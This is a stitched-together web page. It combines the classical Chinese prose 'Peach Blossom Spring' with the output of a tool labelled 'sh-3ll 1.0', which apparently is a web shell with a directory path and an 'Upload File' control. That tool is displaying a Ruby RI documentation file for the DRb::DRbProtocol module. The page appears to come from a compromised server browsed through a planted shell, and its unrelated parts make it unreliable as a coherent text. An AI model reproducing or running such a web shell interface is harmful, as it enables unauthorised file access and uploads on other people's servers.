晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/share/ri/1.8/system/DRb/DRbProtocol/
Upload File :
Current File : //opt/alt/ruby18/share/ri/1.8/system/DRb/DRbProtocol/cdesc-DRbProtocol.yaml
--- !ruby/object:RI::ClassDescription 
attributes: []

class_methods: []

comment: 
- !ruby/struct:SM::Flow::P 
  body: Module managing the underlying network protocol(s) used by drb.
- !ruby/struct:SM::Flow::P 
  body: "By default, drb uses the DRbTCPSocket protocol. Other protocols can be defined. A protocol must define the following class methods:"
- !ruby/struct:SM::Flow::VERB 
  body: "  [open(uri, config)] Open a client connection to the server at <tt>uri</tt>,\n                      using configuration <tt>config</tt>.  Return a protocol\n                      instance for this connection.\n  [open_server(uri, config)] Open a server listening at <tt>uri</tt>,\n                             using configuration <tt>config</tt>.  Return a\n                             protocol instance for this listener.\n  [uri_option(uri, config)] Take a URI, possibly containing an option\n                            component (e.g. a trailing '?param=val'),\n                            and return a [uri, option] tuple.\n"
- !ruby/struct:SM::Flow::P 
  body: All of these methods should raise a DRbBadScheme error if the URI does not identify the protocol they support (e.g. &quot;druby:&quot; for the standard Ruby protocol). This is how the DRbProtocol module, given a URI, determines which protocol implementation serves that protocol.
- !ruby/struct:SM::Flow::P 
  body: "The protocol instance returned by #open_server must have the following methods:"
- !ruby/object:SM::Flow::LIST 
  contents: 
  - !ruby/struct:SM::Flow::LI 
    label: accept
    body: Accept a new connection to the server. Returns a protocol instance capable of communicating with the client.
  - !ruby/struct:SM::Flow::LI 
    label: close
    body: Close the server connection.
  - !ruby/struct:SM::Flow::LI 
    label: uri
    body: Get the URI for this server.
  type: :LABELED
- !ruby/struct:SM::Flow::P 
  body: "The protocol instance returned by #open must have the following methods:"
- !ruby/object:SM::Flow::LIST 
  contents: 
  - !ruby/struct:SM::Flow::LI 
    label: send_request (ref, msg_id, arg, b)
    body: Send a request to <tt>ref</tt> with the given message id and arguments. This is most easily implemented by calling DRbMessage.send_request, providing a stream that sits on top of the current protocol.
  - !ruby/struct:SM::Flow::LI 
    label: recv_reply
    body: Receive a reply from the server and return it as a [success-boolean, reply-value] pair. This is most easily implemented by calling DRb.recv_reply, providing a stream that sits on top of the current protocol.
  - !ruby/struct:SM::Flow::LI 
    label: alive?
    body: Is this connection still alive?
  - !ruby/struct:SM::Flow::LI 
    label: close
    body: Close this connection.
  type: :LABELED
- !ruby/struct:SM::Flow::P 
  body: "The protocol instance returned by #open_server().accept() must have the following methods:"
- !ruby/object:SM::Flow::LIST 
  contents: 
  - !ruby/struct:SM::Flow::LI 
    label: recv_request
    body: Receive a request from the client and return a [object, message, args, block] tuple. This is most easily implemented by calling DRbMessage.recv_request, providing a stream that sits on top of the current protocol.
  - !ruby/struct:SM::Flow::LI 
    label: send_reply(succ, result)
    body: Send a reply to the client. This is most easily implemented by calling DRbMessage.send_reply, providing a stream that sits on top of the current protocol.
  - !ruby/struct:SM::Flow::LI 
    label: close
    body: Close this connection.
  type: :LABELED
- !ruby/struct:SM::Flow::P 
  body: A new protocol is registered with the DRbProtocol module using the add_protocol method.
- !ruby/struct:SM::Flow::P 
  body: For examples of other protocols, see DRbUNIXSocket in drb/unix.rb, and HTTP0 in sample/http0.rb and sample/http0serv.rb in the full drb distribution.
constants: []

full_name: DRb::DRbProtocol
includes: []

instance_methods: 
- !ruby/object:RI::MethodSummary 
  name: add_protocol
- !ruby/object:RI::MethodSummary 
  name: open
- !ruby/object:RI::MethodSummary 
  name: open_server
- !ruby/object:RI::MethodSummary 
  name: uri_option
name: DRbProtocol
superclass: